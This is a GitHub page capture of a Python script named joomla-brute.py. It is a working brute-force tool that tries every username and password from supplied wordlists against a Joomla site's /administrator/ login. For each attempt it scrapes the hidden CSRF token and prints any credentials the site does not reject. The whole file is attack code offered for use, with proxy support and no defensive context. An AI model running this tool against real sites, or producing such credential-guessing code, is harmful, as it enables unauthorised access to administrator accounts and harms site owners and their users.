-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathjoomla-brute.py
executable file
·113 lines (96 loc) · 3.68 KB
/
joomla-brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urlparse
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
class Joomla():
def __init__(self):
self.initializeVariables()
self.sendrequest()
def initializeVariables(self):
#Initialize args
parser = argparse.ArgumentParser(description='Joomla login bruteforce')
#required
parser.add_argument('-u', '--url', required=True, type=str, help='Joomla site')
parser.add_argument('-w', '--wordlist', required=True, type=str, help='Path to wordlist file')
#optional
parser.add_argument('-p', '--proxy', type=str, help='Specify proxy. Optional. http://127.0.0.1:8080')
parser.add_argument('-v', '--verbose', action='store_true', help='Shows output.')
#these two arguments should not be together
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-usr', '--username', type=str, help='One single username')
group.add_argument('-U', '--userlist', type=str, help='Username list')
args = parser.parse_args()
#parse args and save proxy
if args.proxy:
parsedproxyurl = urlparse(args.proxy)
self.proxy = { parsedproxyurl[0] : parsedproxyurl[1] }
else:
self.proxy=None
#determine if verbose or not
if args.verbose:
self.verbose=True
else:
self.verbose=False
#http:/site/administrator
self.url = args.url+'/administrator/'
self.ret = 'aW5kZXgucGhw'
self.option='com_login'
self.task='login'
#Need cookie
self.cookies = requests.session().get(self.url).cookies.get_dict()
#Wordlist from args
self.wordlistfile = args.wordlist
self.username = args.username
self.userlist = args.userlist
def sendrequest(self):
if self.userlist:
for user in self.getdata(self.userlist):
self.username=user.decode('utf-8')
self.doGET()
else:
self.doGET()
def doGET(self):
for password in self.getdata(self.wordlistfile):
#Custom user-agent :)
headers = {
'User-Agent': 'nano'
}
#First GET for CSSRF
r = requests.get(self.url, proxies=self.proxy, cookies=self.cookies, headers=headers)
soup = BeautifulSoup(r.text, 'html.parser')
longstring = (soup.find_all('input', type='hidden')[-1]).get('name')
password=password.decode('utf-8')
data = {
'username' : self.username,
'passwd' : password,
'option' : self.option,
'task' : self.task,
'return' : self.ret,
longstring : 1
}
r = requests.post(self.url, data = data, proxies=self.proxy, cookies=self.cookies, headers=headers)
soup = BeautifulSoup(r.text, 'html.parser')
response = soup.find('div', {'class': 'alert-message'})
if response:
if self.verbose:
print(f'{bcolors.FAIL} {self.username}:{password}{bcolors.ENDC}')
else:
print(f'{bcolors.OKGREEN} {self.username}:{password}{bcolors.ENDC}')
break
@staticmethod
def getdata(path):
with open(path, 'rb+') as f:
data = ([line.rstrip() for line in f])
f.close()
return data
joomla = Joomla()